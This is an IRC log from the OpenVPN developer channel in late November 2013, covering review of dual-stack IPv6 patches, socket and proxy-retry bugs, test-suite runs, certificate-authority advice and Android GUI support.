<@cron2> "interesting" 06:55 <@plaisthos> for the client there is no difference if the server is running in p2p or server mode 06:55 <@cron2> I have only ever used p2p with --secret so far 06:55 <@plaisthos> cron2: remember the client is *always* p2p 06:56 <@cron2> ok, now things get even more interesting... 06:57 <@cron2> --inetd --dev tap refuses to do "ifconfig", so it really-really-really wants to do bridging 06:57 <@cron2> Nov 26 14:01:06 gentoo openvpn[14767]: ifconfig_noexec = ENABLED 06:57 <@cron2> moar magic 06:57 <@cron2> --stupid-program-do-what-I-want-*now* 06:59 <@plaisthos> NEWS: core openvpn developer fails to use openvpn option 07:00 <@cron2> I know about --ifconfig-noexec, but I didn't expect it to be turned on by itself 07:01 <@cron2> (and I'm fairly sure there is no --really-do-ifconfig flag to override that) 07:01 <@plaisthos> cron2: openvpn iteratively coaxes you into a certain configuration 07:01 <@cron2> ... which I don't want, here... 07:01 <@cron2> openvpn --hey-listen-I'm-the-boss-otherwise-I'll-let-Arne-hack-you! 07:02 <@plaisthos> :D 07:02 <@cron2> --developer-mode-no-seatbelts 07:09 <@cron2> ah, --ifconfig-noexec is only called in --inetd nowait mode, not in --inetd wait mode... 07:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 07:44 <@cron2> test run 9: all tests OK. 07:44 <@cron2> yee-ha! 07:45 <@cron2> now I have working test rig, now I can go and break the code again 07:53 <@cron2> meh, #349 looks like "work" :( 07:53 <@cron2> mattock: can you put #349 on the list of things to fix before 2.3.3, please? 07:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:57 <@plaisthos> another broken app: irssi 07:57 <@plaisthos> does fall back to ipv4 if ipv6 does not work 08:01 <@cron2> does, or does not? 08:04 <@plaisthos> does not 08:04 <@plaisthos> keep trying ipv6 08:04 <@cron2> it knows the good stuff :) 08:05 <@ecrist> who is Steffan Karger? 08:05 <@cron2> syzzer 08:06 <@ecrist> ah 08:06 <@plaisthos> cron2: did you get --inetd running? 08:08 <@cron2> yep 08:08 <@cron2> --up makeifconfig.sh 08:08 <@cron2> (--inetd wait would also work, but that is broken in xinetd) 08:08 <@cron2> did I mention I hate xinetd? 08:17 <@cron2> mmmh 08:17 <@cron2> plaisthos: could you check your most current source tree, inside phase2_tcp_client(), there is 08:18 <@cron2> if (proxy_retry) 08:18 <@cron2> { 08:18 <@cron2> openvpn_close_socket (sock->sd); 08:18 <@cron2> sock->sd = create_socket_tcp (AF_INET); 08:18 <@cron2> } 08:18 < syzzer> ecrist: Hi :) 08:18 <@cron2> is it AF_INET for you as well? Or will that get dualstacked later? (working on 1/9) 08:20 <@plaisthos> cron2: I changed it 08:21 <@plaisthos> I added: 08:21 <@plaisthos> /* TODO (schwabe): This code assumes AF_INET for the proxy socket 08:21 <@plaisthos> * when retrying a connection */ 08:21 <@cron2> ok, so when finished with 9/9, we go through all the remaining TODOs 08:21 <@cron2> just wanted to be sure it won't get overlooked 08:21 <@plaisthos> yeah sure 08:21 <@cron2> ("if the first connect to a *proxy on IPv6 times out, it will never retry with IPv6") 08:23 <@plaisthos> yeah 08:23 <@plaisthos> the whole retry proxy stuff is dubious 08:25 <@plaisthos> it also ignores any --bind or other sock related options on reconnects 08:25 <@plaisthos> I can surely reimplement that in a "working" way 08:26 <@cron2> if there is nothing else more urgently broken :) 08:26 <@plaisthos> but I don't get the point of "iterate through connections and if there is a proxy connection, do iterate any longer 08:29 <@plaisthos> do not iterate any longer 08:29 <@plaisthos> but try that forever 08:30 <@cron2> yeah, seems the proxy retry bit should be just moved into the normal retry logic 08:30 <@cron2> (as in "ripped out") 08:30 <@cron2> but that needs closer study 08:36 <@cron2> plaisthos: regarding 3/9 ("ip-remote-hint"). You mentioned you'd bring it back with a "similar option" in Munich - is that already in the patch set? 08:36 <@plaisthos> no not yet 08:36 <@cron2> ok 08:37 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 3 4 4a 5. 08:37 <@cron2> Test sets failed: none. 08:37 <@cron2> hah 08:38 <@plaisthos> I currently using a horrific hack in the android to workaround "persist-ip" being "if you have resolved an IP stick to that like there is no tommorow" 08:38 <@plaisthos> And I want to remove that too 08:39 <@plaisthos> But I will probably send a patch this week or the next 08:39 <@cron2> I can see that - but these should be cleared with James :-) 08:39 <@plaisthos> I want only my hack removed :) 08:40 <@cron2> *that* is your decision only :) 08:40 <@plaisthos> --persist-remote-ip is broken for dual stack and/or multiple remotes anyway 08:44 * cron2 is talking about --ip-remote-hint only, anyway :) 08:45 <@plaisthos> yeah 08:45 <@plaisthos> problem is with persist-tun, dns resolution is broken when the tun is up 08:45 <@plaisthos> so dns resolution is broken for reconnect 08:45 <@plaisthos> persist-remote-ip helps there 08:46 <@plaisthos> but if a hosts resolves to two addresses (IPv6, IPv4) openvpn will get stuck on the v6 or v4 address 08:47 <@plaisthos> and I have a hack in place that persist-remote-ip means "keep the resolved address, but don't really do persist the IP " 08:47 <@cron2> which would catch the spirit - the old code didn't try more than one IP anyway 08:47 <@plaisthos> cron2: na it does not :) 08:48 <@plaisthos> for p2p <-> p2p you want both client to follow each other around 08:48 <@plaisthos> I will add resolve-remotes-at-startup or something like this 08:48 <@plaisthos> so I don't need to reresolve ever again 08:49 <@cron2> yeah, you mentioned that, with an extra parameter to override all to a single IP 08:49 <@plaisthos> yeah 08:50 <@plaisthos> to support the as client weirdness 08:51 <@vpnHelper> RSS Update - gitrepo: Change proto_remote() function to return a constant string <https://github.com/OpenVPN/openvpn/commit/34136dd8533510f68a012ba9e6bcd8cf5d1ce80e> || Split link_socket_init_phase1 and link_socket_init_phase2 into <https://github.com/OpenVPN/openvpn/commit/48f1d41a80b1f2aa9e47b38f645dc880bd7090a4> 08:51 * cron2 wonders how to use the "the server runs behind a socks proxy" stuff 08:52 <@cron2> I have seen it in the code, it can be done :) 08:52 <@plaisthos> cron2: what? 08:52 <@plaisthos> I remember vaguely 08:53 <@cron2> ah, no, I think I misread the code. We only do socks_client 08:56 <@dazo> syzzer: added a couple of more eyes to your seclist response ... added andj as he reworked much of the infrastructure when adding polarssl support 09:37 <@cron2> plaisthos: working on 4/9 09:37 <@cron2> should freeaddrinfo(sock->info.lsa->remote_list); be followed by NULLing remote_list? 09:37 <@cron2> + if (sock->info.lsa->remote_list) 09:37 <@cron2> + freeaddrinfo(sock->info.lsa->remote_list); 09:38 <@cron2> (it is not strictly necessary, but I'm not sure whether anyone else will look at remote_last later on) 09:40 <@plaisthos> there is only case where that is needed 09:40 <@plaisthos> but generally I can send a cleean up patch for that 09:41 <@plaisthos> we have a did_resolve flag variable 09:41 <@cron2> mmmh 09:41 <@plaisthos> we could get rid of that variable and check for !=NULL 09:41 <@cron2> it might be nicer to do the freeaddrinfo() / =NULL explicitly 09:41 <@plaisthos> or add a gc_add_addrinfo() 09:41 <@plaisthos> so gc does the freeaddrinfo 09:42 <@cron2> whatever makes sense 09:44 <@cron2> btw, 6/9 still contains a copy of "compile"... 09:44 <@plaisthos> argh 09:44 <@plaisthos> :( 09:44 <@plaisthos> I can resend the patches without that 09:44 <@cron2> I'll get rid of it when merging, if nothing else is funky 09:45 <@cron2> for today, I'm done anyway. $Family will be back in a few minutes, and that will kill any attempt do concentrate for 10 minutes in a row 09:45 <@vpnHelper> RSS Update - gitrepo: Remove the ip-remote-hint option. <https://github.com/OpenVPN/openvpn/commit/bb9026a60a8ebdf20fdf9a99e16c0d8afc658747> 09:46 <@plaisthos> i am not sure what did_resolve_remote is for anyway 09:46 <@plaisthos> oh 09:46 <@plaisthos> hm no 09:48 < syzzer> dazo: andj is on the list anyway afaik. Your point seems valid, let's see if I can find some time to dig in tonight. 09:48 <@dazo> ahh, wasn't aware of that ... okay, lets dig all we can :) 10:01 <@cron2> what will git cherry-pick do if 2/3 hunks apply fine, and one just doesn't (because the code in question is just completely different)? 10:01 <@cron2> conflict? 10:01 <@dazo> most likely 10:02 <@dazo> but you sort that out as if you would do normal git conflicts ... fix, git add and git commit 10:02 <@dazo> (well git rebase would use git rebase --continue/--skip instead of git commit) 10:08 <@cron2> plaisthos: 7/9 has one funny thing. You add an option bind_ipv6_only, but the change to options.c initializes 10:09 <@cron2> + o->ce.bind_local=false; 10:09 <@cron2> is that what you had in mind? (shouldn't be strictly necessary anyway, as that's CLEAR()ed) 10:14 <@plaisthos> cron2: that sounds like a mistake 10:23 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [] 10:24 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 12:19 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 240 seconds] 13:56 <@plaisthos> cron2: it should have bin o->ce.bind_ipv6_only=false 14:28 -!- dazo is now known as dazo_afk 15:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 15:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:34 <@cron2> plaisthos: that's what I guessed :) 15:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] --- Log closed Tue Nov 26 20:35:50 2013 --- Log opened Tue Nov 26 21:33:17 2013 21:33 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 21:33 -!- Irssi: #openvpn-devel: Total of 17 nicks [8 ops, 0 halfops, 1 voices, 8 normal] 21:33 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 21:33 -!- mode/#openvpn-devel [+o ecrist] by ChanServ --- Day changed Wed Nov 27 2013 01:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:53 -!- dazo_afk is now known as dazo 02:00 <@pekster> plaisthos: So how do you handle DNS stuff in your Android app? I assume you're parsing it over the management API or something? 02:03 <@plaisthos> pekster: more or less 02:03 <@plaisthos> pekster: the android actually behaves more like the windows client in that regard 02:03 <@plaisthos> pekster: openvpn itself parses the dhcp options and will set the dns 02:04 <@plaisthos> and that is done like routes, ifconfig and opening over the management interface 02:04 <@pekster> Well, the Windows stuff is part of the TAP-Win32 device code 02:05 <@plaisthos> just look for #if defined(WIN32) || defined(TARGET_ANDROID) in the code ;) 02:06 <@plaisthos> and management_android_control for the rest 02:06 <@pekster> gotcha, so what openvpn doesn't do you shim between the realtime management info and the OS, which is what I figured 02:09 <@pekster> I do like how simplistic lots of the android stuff is (or maybe you end up filling in the differences, but the openvpn bits I've skimmed look quite readable ;) 02:12 <@pekster> Ah, tun.c open_tun() seems to be where all the magic is. Nifty. 04:00 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:35 <@plaisthos> syzzer: btw. I am running with polarssl on my Tablet for week, mainly because I am too lazy to replace it with the OpenSSL version and it works fine 08:36 < syzzer> ah, cool! 08:36 < syzzer> no more sudden crashes? 08:37 <@plaisthos> yeah 08:47 < syzzer> any clue what might have caused those earlier on? On my defy (CM10.2) everything worked just fine too. 09:00 <@plaisthos> no idea really 09:00 <@plaisthos> it just hang 09:01 <@plaisthos> maybe I did somehting wrong unrelated 10:06 -!- dazo is now known as dazo_afk 12:48 <@cron2> plaistos, the whitespace mangler... 12:48 <@cron2> 4/9 has a fat change in socket.h / addr_match(), which, when looking closely at the result is just "whitespace change plus git getting confused about the actual change" 12:51 <@cron2> oh, and there is an actual bug in bracketing 12:51 <@cron2> plaisthos: socket.h, link_socket_set_outgoing_addr() 12:51 <@cron2> ../../../openvpn/src/openvpn/socket.h: In function 'link_socket_set_outgoing_addr': 12:51 <@cron2> ../../../openvpn/src/openvpn/socket.h:887:4: warning: suggest parentheses around '&&' within '||' [-Wparentheses] 12:51 <@cron2> the closing ")" is behind addr_match_proto(), not behind !lsa->remote_list 13:00 <@cron2> ho hum 13:00 <@cron2> with 4/9, using "--proto udp" to connect to a dual-stacked server is actually broken now 13:01 <@cron2> or --proto tcp 13:01 <@cron2> --proto tcp --remote conn-test-server.openvpn.org 13:01 <@cron2> Wed Nov 27 19:58:54 2013 TCP: connect to [AF_INET6]2607:fc50:1001:5200::4:51194 failed, will try again in 5 seconds: Address family not supported by protocol 13:01 <@ecrist> gah 13:02 <@cron2> ecrist: this is somewhat to be expected, 4/9 is "groundwork" for 6/9, which is the "clean and proper dual-stack implementation, with AFI failover, etc." 13:02 <@ecrist> that sounds much less sad 13:03 <@cron2> I do test all invidual hunks to see what sort of breakage might incur, and *this* is not completely unexpected 13:11 <@cron2> yeah, --proto udp --remote 1.2.3.4 works, as does --proto udp6 --remote $dualstackeddnsname 13:45 <@vpnHelper> RSS Update - gitrepo: When resolving fails print the error message from socket layer <https://github.com/OpenVPN/openvpn/commit/aa162d44edae8530391775b55e7b4f149548537e> || change the type of 'remote' to addrinfo*, and rename to 'remote_list'. <https://github.com/OpenVPN/openvpn/commit/6c5db192c30ff0c6b89e2e0aefec00329de39302> 15:01 <@cron2> hmmm, interesting 15:01 <@cron2> Wed Nov 27 21:18:31 2013 RESOLVE: Cannot resolve host address: conn-test-server.openvpn.org:51194 (ai_family not supported) 15:02 <@cron2> this is the t_client failure on FreeBSD 7.4 15:16 <@plaisthos> cron2: with which patches applied? 15:27 <@cron2> plaisthos: up to 6/9, so the big dual-stack patch is missing. So I'm not going to debug this right now, and I have put "this is work in progress, expect breakage" in the commit message as well 15:29 <@cron2> oh, only 5/9 15:29 <@cron2> 6/9 is the dual-stack client patch 15:29 <@cron2> plaisthos: if you have time, there is something 4/9 introduces in socket.h (compiler warning) which you fixed in 6/9, but I think the fix is wrong (or I'm confused about boolean arithmetics) 15:30 <@cron2> link_socket_set_outgoing_addr in socket.h, the big /* new or changed address? */ - /* address undef or address == remote or --float */ block 15:31 <@cron2> 6/9 reorders the () brackets to make it easier to read, but based on what I think is mis-bracketing in 4/9, which I've reverted when applying 4/9 15:31 <@cron2> (see patch I sent in reply) 15:31 <@cron2> not urgent, I got to bed now, and won't look at it again before tomorrow evening 15:32 <@plaisthos> cron2: Will look at it tommorow 15:33 <@plaisthos> that link_set_outgoing_addr confuses me too 15:37 <@plaisthos> I have to look what function is really supposed to do 16:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 18:08 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 18:08 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel --- Day changed Thu Nov 28 2013 06:05 -!- dazo_afk is now known as dazo 08:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:37 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 08:38 < reiffert> How would I use public certificate authorities with openvpn? Get a webserver certificate for the server. But what would I need to request for client certs? 08:54 < syzzer> reiffert: I think you'll get a better response to this question in #openvpn, this channel is for discussing openvpn development, not usage 09:00 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Read error: Operation timed out] 09:04 <@cron2> reiffert: I think "anything signed by the CA" would work, if you tell the server "there's the ca.crt" 09:05 <@cron2> OTOH I have no idea what [x] checkbox to check for "I want a client cert" :-) 09:05 * cron2 is not doing commercial cert purchasing 09:05 < reiffert> how to prevent other people from connecting that also have a cert signed by the same CA then? 09:06 < reiffert> cron2: startssl created them for free. 09:07 <@cron2> reiffert: good question. Only use them for basic auth ("he passed the CA") and use username+pass or cert common-name for "real auth"? 09:07 <@cron2> maybe combine startssl client cert "for ease of use" with yubikey or so "for real auth"... 09:07 <@cron2> or "just don't go there" 09:08 <@cron2> I do not see a way to tell the server "accept cert 1, 4, 7 if signed by ca.crt, but nothing else" - well, not inside openvpn, but a plugin like eurephia might do that. dazo: awake? 09:08 * dazo is here 09:09 <@cron2> dazo: how would you do that? If at all? 09:10 <@dazo> reiffert: you need to have access to at least a sub-CA to fully be able to trust client certificates, which means issuing certificates yourself. Going the commercial way, to be able to trust various client certs, you need to get the fingerprint (SHA1) and use a plug-in/--tls-verify script to check if the client cert is approved or not 09:12 <@dazo> in addition you have the "server/client flag" in certificates. Commercial vendors usually only provide server certificates, afaik ... so you'd need to make openvpn ignore that flag ... I believe that's doable actually ... *BUT* that means anyone with a certificate from your CA issuer can pose as an OpenVPN server instead of you and nicely do a MITM attack 09:13 <@dazo> so ... if you want to stay safe .... either, issue your own client certs .... or use user/password auth together with --client-cert-not-required ... and ship client configs with your own CA's certificate which is used to issue a server certificate 09:14 <@dazo> this latter method avoids client certs all in all. And the CA certificate you can embed inline in the client config will only be used to authenticate your VPN server 09:16 <@dazo> "used to issue a server certificate" => your own openvpn server certificate 09:17 <@dazo> but when implementing openvpn ... I honestly see no benefit of using certificates issued by a commercial issuer. It rather more complicates than simplifies things 09:18 <@dazo> (and unless you put your CA files on a public available computer - including hackable from the Internet .... you have far more control of your VPN clients, than if you trust a third party here) 09:19 <@dazo> far more control of your VPN clients if you issue your own certificates, I meant 09:24 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 10:16 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 11:22 <@cron2> plaisthos: did you have a chance to look & think? 13:13 -!- dazo is now known as dazo_afk 13:41 <@plaisthos> cron2: Just looking at it 13:41 <@plaisthos> cron2: I still trying to figure out the "What is this function *supposed* to do" 13:43 <@cron2> plaisthos: while you're at it, could you test if --test-crypto is broken for you as well? 13:43 <@cron2> there's a test case (tests/t_lpback.sh) which first --genkey's a key, and then calls --test-crypto --secret $thatkey and after applying (whacking in) 6/9, that crashes for me with an assertion in mtu.c(!) 13:44 <@plaisthos> http://pastebin.com/f4vkMDMP 13:44 <@plaisthos> I think that is right brackets for that 13:45 <@plaisthos> will take a look 13:46 <@cron2> that would match what was there before 4/9, I think (except that your info->remote_float bits have (a || (b||c)) while I think (a || b || c) would be sufficiently clear 13:47 <@plaisthos> yeah 13:47 <@plaisthos> I think a || (b ||c) captures more the "why?" 13:48 <@plaisthos> either float or (remote_list emtpy or matching) 13:48 <@cron2> ok, I'll amend the commit accordingly 13:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:56 <@cron2> Thu Nov 28 20:56:01 2013 UDP link remote: [AF_INET6]2001:608:0:814::f000:12:1194 13:56 <@cron2> Thu Nov 28 20:56:06 2013 Server poll timeout, restarting 13:56 <@cron2> Thu Nov 28 20:56:06 2013 UDP link remote: [AF_INET]194.97.140.12:1194 13:56 <@cron2> Thu Nov 28 20:56:06 2013 TLS: Initial packet from [AF_INET]194.97.140.12:1194, sid=f9bd4f9f a16aa717 13:56 <@cron2> this is "--udp --server $dualstackedhost" (which is not listening on IPv6) 13:57 <@cron2> Thu Nov 28 20:56:53 2013 TCP: connect to [AF_INET6]2001:608:0:814::f000:12:443 failed: Connection refused 13:57 <@cron2> Thu Nov 28 20:56:53 2013 SIGUSR1[connection failed(soft),init_instance] received, process restarting 13:57 <@cron2> Thu Nov 28 20:56:59 2013 TCP connection established with [AF_INET]194.97.140.12:443 13:57 <@cron2> (this is for --tcp) 13:57 <@cron2> \o/ 13:57 <@cron2> I'm not ready to push it, as I haven't done a full review yet, but tests look quite good (except for the --crypto-test part) 13:58 <@cron2> plaisthos: is there a special reason why there is no --tcp4-client? 13:58 <@plaisthos> cron2: I got the 6/9 crash 13:58 <@plaisthos> cron2: There isn't? 13:58 <@cron2> no :-) - there is --tcp4 --client, of course 13:58 <@cron2> well, --proto tcp4 --client 14:00 <@cron2> but it's good that you see the crash as well, so it wasn't me (I had whitespace issues, and had to apply a few of the hunks manually - I *think* I didn't mess up anything, but that could have been "something") 14:00 <@plaisthos> It is some fallout from "always use connection list as list" 14:00 <@plaisthos> have to check where I am exactly breaking the old logic 14:00 <@cron2> mmmh, so it should have failed yesterday already (up to 5/9 merged) 14:01 <@plaisthos> no 14:01 <@cron2> no, with that it works 14:02 <@plaisthos> the dualstack does the "always convert remote list or single remote to connection list" thing 14:02 <@cron2> (I *did* test that, yesterday, but just re-tested :) - that one does break the t_cltsrv.sh, though) 14:02 <@cron2> ah 14:03 <@plaisthos> to avoid the special cases the further retry/next connetion things 14:05 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 3 4 4a 5. 14:06 <@cron2> Test sets failed: none. 14:06 <@cron2> that is 6/9 merged, client side tests, including http+socks proxy, ipv4 and ipv6. Promising :-) (still want to review the patch) 14:07 <@plaisthos> strange that bug that affects test-crypt should affect the server too 14:07 <@cron2> no, that is another one - that is loopback<->loopback communication, and the client talks to ::1 while the server listens on 127.0.0.1 14:08 <@cron2> that *should* go away as soon as the dual-stack server side is merged 14:08 <@cron2> or vice versa 14:08 <@cron2> so it works on linux (auto-dual-stack socket) and fails on *bsd (v6-only) 14:13 <@plaisthos> oh no the server code actually also calls next_connection_entry (c); 14:20 <@plaisthos> cron2: this is a patch to fix 6/9 14:20 <@plaisthos> http://pastebin.com/z3iYmF28 14:23 <@cron2> compiling... 14:23 <@plaisthos> I am checking if find a better solution for the crypto test 14:24 <@cron2> so that is a stopgap to make 6/9 pass "make test", and a "real" fix will be needed? 14:24 <@plaisthos> cron2: it is real fix more or less 14:25 <@cron2> Thu Nov 28 21:24:55 2013 us=380998 OpenVPN crypto self-test mode SUCCEEDED. 14:25 <@plaisthos> the first thing a real client/server will is map the first connection entry into options.ce 14:26 <@plaisthos> the crypto test never does this step and works on option.ce directly 14:26 <@cron2> ... and that's not initialized, and so assert's on "mtu" 14:27 <@plaisthos> but options_postprocess_mutate_ce() has only been called on the ces' of the connection list 14:27 <@cron2> well, boom :) 14:27 <@cron2> with that fix it passes 14:27 <@cron2> but enough for today, full review tomorrow, then push 14:28 <@plaisthos> if you define a connection entry and crypto test without the dual stack patch it might crash too 14:48 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 14:49 < totaltec> hi all been a long time since i was on irc 14:50 < totaltec> i have a question regarding openvpn android if poss about the gui 14:50 < totaltec> i have the vpn working well and have used xposed framework to take disclaimer out the way 14:51 < totaltec> i have then added it to xbmc but when i click openvpn it opens fine displays fine but using the remote i cannot start the vpn 14:51 < totaltec> i have to use the mouse and click the ok button on remote just flashes the screen thanks for your time 14:52 < totaltec> if there is a specific forum i can use for this type of thing ill gladly post it there 14:53 < totaltec> did have a good luook around before resorting to stalking on irc lol 14:58 <@plaisthos> totaltec: Ah you wrote me the email too, right? 14:59 < totaltec> hehe 14:59 < totaltec> yeah proper stalking 15:00 < totaltec> sorry ive been working on this for days now and its just an annoying niggle 15:00 <@plaisthos> totaltec: I answered your email 15:00 < totaltec> you did indeed fast work lol 15:00 <@plaisthos> totaltec: you are very lucky that I have a system I can actually test this stuff on :) 15:01 < totaltec> hahahaha lucky indeed and im very lucky we have developers happy to help us mere mortals 15:01 < totaltec> i will install this apk in the next ten minutes and place butt on sofa to test appopriately 15:03 <@plaisthos> totaltec: no lucky as in me having a device that actually uses non touch input 15:03 < totaltec> ahh yes you have the classy version though :) 15:05 < totaltec> this may be a daft question can i just install this apk over the top or would you prefer i remove the other version 15:05 <@plaisthos> totaltec: you can just install it over the old version 15:05 < totaltec> ok thnks 15:11 < totaltec> sorry plaisthos same problem i can click profile settings import etc etc all opens the sub menu 15:11 < totaltec> if i click vpn under prfile nothing 15:11 < totaltec> *profile 15:12 * cron2 just discovered the magic of "git difftool --tool=tkdiff" 15:18 <@plaisthos> totaltec: hm 15:19 <@plaisthos> totaltec: so with your cursor keys you can only the select the tabs? 15:20 < totaltec> the cursor key select all tabs along the top no problem the down cursor selects the vpnprofile i made but upon clicking ok it doesnt do anything 15:21 < totaltec> if i select settings for example using cursors and then press ok i get the settings menu starting application bahaviour 15:22 < totaltec> the only place the remote fails is when i wish to press ok on my actual profile 15:22 < totaltec> if i goto the box plugin a mouse and just click on the profile fires up first time everytime 15:24 <@plaisthos> totaltec: does it show the whole line being select or only the left/right part? 15:24 < totaltec> whole line 15:24 < totaltec> including the settings far right id say 15:25 < totaltec> yes confirmed definately the entire bar 15:25 <@plaisthos> totaltec: I thought I fixed that :/ 15:25 < totaltec> inc settings icon 15:25 < totaltec> i may beg to differ :) 15:26 <@plaisthos> totaltec: on my ouya when I was on the About tab with the hilight and pressed down it worked 15:26 <@plaisthos> can you test that? 15:26 <@plaisthos> totaltec: btw which android version runs on your device? 15:26 < totaltec> ok box is in front of me will do 15:26 < totaltec> 4.2.2 15:27 <@cron2> what is c->options.no_advance good for? 15:28 < totaltec> about then cursor down same result entire bar highlighted 15:29 <@plaisthos> cron2: last connection worked, on disconnect try that one 15:30 <@cron2> ah 15:30 <@cron2> ah 15:31 * cron2 understands initialization_sequence_completed() now :-) - I thought this was "before connecting", but that's actually the "we have connected, everything is good!" point 15:34 * cron2 was not aware we have --persist-local-ip 15:34 <@cron2> "o m g" 15:39 <@plaisthos> cron2: that one of the "We want to depracte that one" 16:30 < totaltec> plaisthos i know you must have lots going on :) and getting late for me based in spain warm but late 16:30 < totaltec> i will check in tomorrow and thanks for looking into the issue 16:37 < totaltec> night guys cheers 17:19 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds] 18:05 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 272 seconds] 19:09 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:09 -!- mode/#openvpn-devel [+o andj] by ChanServ 19:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 19:29 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:29 -!- mode/#openvpn-devel [+o andj] by ChanServ 19:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 19:46 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:46 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Fri Nov 29 2013 01:39 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 02:16 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 02:23 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:23 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:30 < totaltec> morning 03:20 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 248 seconds] 03:22 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 03:22 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 03:23 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o andj__] by ChanServ 03:27 -!- Netsplit *.net <-> *.split quits: reiffert, @andj 03:27 -!- andj__ is now known as andj 04:03 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 05:39 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 246 seconds] 06:27 <@plaisthos> X509 *cert = NULL; 06:27 <@plaisthos> ASSERT (NULL != ctx); 06:27 <@plaisthos> ASSERT (NULL != cert); 06:27 <@plaisthos> this sounds like a stupid idea .... 06:38 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 06:39 < reiffert> Hey there 06:55 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 07:11 <@plaisthos> syzzer: thanks for the fast ACK :) 07:42 <@cron2> plaisthos, syzzer: is this a competition in breaking and fixing openssl-related parts of OpenVPN? ;-) 07:46 < syzzer> plaisthos, cron2: so it seems, heh. I really should fix my local testsuite to also test openssl... 07:49 < syzzer> just to keep up in this race I've got two OpenSSL-code related patches lying around, but still have to properly test those, which might not be trivial for one of them, because I did not yet find a way to actually execute the code I've changed... (that's a fix for #197) 08:00 <@plaisthos> cron2: the key to the competetion is to do by trying to achieve something unrelated 10:23 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn-devel 11:38 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds] 11:58 <@cron2> plaisthos: options.c, options_postprocess_mutate() - you convert remote_list into connection_list, but only if there is no connection_list defined yet. Is that what you want? 11:58 <@cron2> if (o->remote_list && !o->connection_list) 12:00 <@cron2> (or maybe I'm just not understanding that code) 12:13 <@plaisthos> cron2: yes 12:14 <@plaisthos> the options.c code will bail out before if you --remote and <connection> entries 12:14 <@plaisthos> in options_postprocess_mutate you either have a remote_list and no connection_list or already a connection list 12:55 <@cron2> ah! --remote and <connection> are incompatible 12:56 <@cron2> (but in that case, it still leaves the question why one would want to check for !o->connection_list if that's to be assumed anyway, but *if* there is one, it won't hurt either) 13:17 <@cron2> should we either have tcp4-server/tcp4-client, or get rid of tcp6-server/tcp6-client? right now it's slightly unsymmetric... 13:17 <@cron2> (and if I read this right, adding tcp4-server would be quite trivial, just extend proto_names[]) 13:22 <@cron2> ah, and here we have a bug :-) - tun.c, checking for local addr clash, you look at remote_public... 13:43 <@cron2> plaisthos: I'm ready to go, but have made two last-minute changes - sent to the list, if you could check and ACK, please? 13:46 <@plaisthos> cron2: sure 13:47 <@cron2> ah, there you are anyway :-) - I thought you went away for friday evening or such (otherwise I would have just discused this here first) 13:47 <@cron2> tun.c, and tcp4-server/tcp4-client + tcp-server/tcp-client changes in the table 13:49 